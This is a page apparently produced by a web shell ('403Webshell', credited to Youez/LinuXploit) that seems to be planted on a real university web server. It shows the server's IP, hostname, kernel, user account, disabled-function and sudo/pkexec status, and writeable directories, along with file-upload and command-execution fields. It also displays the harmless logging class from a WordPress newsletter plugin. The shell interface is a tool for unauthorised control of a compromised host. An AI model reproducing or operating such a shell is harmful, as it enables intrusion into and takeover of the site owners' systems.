403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/medicine.dbweb26.goldcopy/public_html/wp-content/plugins/newsletter/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/medicine.dbweb26.goldcopy/public_html/wp-content/plugins/newsletter/includes/logger.php
<?php

// phpcs:disable WordPress.PHP.DevelopmentFunctions.error_log_print_r

defined('ABSPATH') || exit;

if (!defined('NEWSLETTER_LOG_DIR')) {
    define('NEWSLETTER_LOG_DIR', WP_CONTENT_DIR . '/logs/newsletter');
}

class NewsletterLogger {

    const NONE = 0;
    const FATAL = 1;
    const ERROR = 2;
    const INFO = 3;
    const DEBUG = 4;

    var $level;
    var $module;
    var $file;
    var $is_debug = false;
    var $offset = 0;

    function __construct($module) {
        $this->module = $module;
        if (defined('NEWSLETTER_LOG_LEVEL')) {
            $this->level = NEWSLETTER_LOG_LEVEL;
        } else {
            $this->level = (int) get_option('newsletter_log_level', self::ERROR);
        }

        $this->is_debug = $this->level == self::DEBUG;

        $secret = get_option('newsletter_logger_secret', '');
        if (strlen($secret) < 8) {
            $secret = NewsletterModule::get_token(8);
            update_option('newsletter_logger_secret', $secret);
        }

        if (!wp_mkdir_p(NEWSLETTER_LOG_DIR)) {
            $this->level = self::NONE;
        }

        if (is_multisite()) {

        }

        $this->file = NEWSLETTER_LOG_DIR . '/' . $module . '-' . gmdate('Y-m', time() + $this->offset) . '-' . $secret . '.txt';

        $this->offset = (int) (get_option('gmt_offset') * 3600);
    }

    /**
     *
     * @param string|WP_Error|array|stdClass $text
     * @param int $level
     */
    function log($text, $level = self::ERROR) {
        global $current_user;

        if ($level != self::FATAL && $this->level < $level) {
            return;
        }

        if (defined('DOING_CRON') && DOING_CRON) {
            $user = '[cron]';
        } elseif ($current_user) {
            $user = $current_user->user_login;
        } else {
            $user = '[no user]';
        }

        $time = gmdate('d-m-Y H:i:s ', time() + $this->offset);
        switch ($level) {
            case self::FATAL: $time .= '- FATAL';
                break;
            case self::ERROR: $time .= '- ERROR';
                break;
            case self::INFO: $time .= '- INFO ';
                break;
            case self::DEBUG: $time .= '- DEBUG';
                break;
        }
        if (is_wp_error($text)) {
            /* @var $text WP_Error */
            $text = $text->get_error_message() . ' (' . $text->get_error_code() . ') - ' . print_r($text->get_error_data(), true);
        } else {
            if (is_array($text) || is_object($text)) {
                $text = print_r($text, true);
            }
        }

        $memory_limit = size_format(wp_convert_hr_to_bytes(ini_get('memory_limit')));

        // The "logs" dir is created on Newsletter constructor.
        $res = @file_put_contents($this->file, $time . ' - ' . NEWSLETTER_VERSION . ' - ' . size_format(memory_get_usage(), 1) . '/' . $memory_limit . ' - ' . $user . ' > ' . $text . "\n", FILE_APPEND);
        if ($res === false) {
            //$this->level = self::NONE;
        }
    }

    function error($text) {
        self::log($text, self::ERROR);
    }

    function info($text) {
        $this->log($text, self::INFO);
    }

    function fatal($text) {
        $this->log($text, self::FATAL);
    }

    function debug($text) {
        if (!$this->is_debug) {
            return;
        }
        $this->log($text, self::DEBUG);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit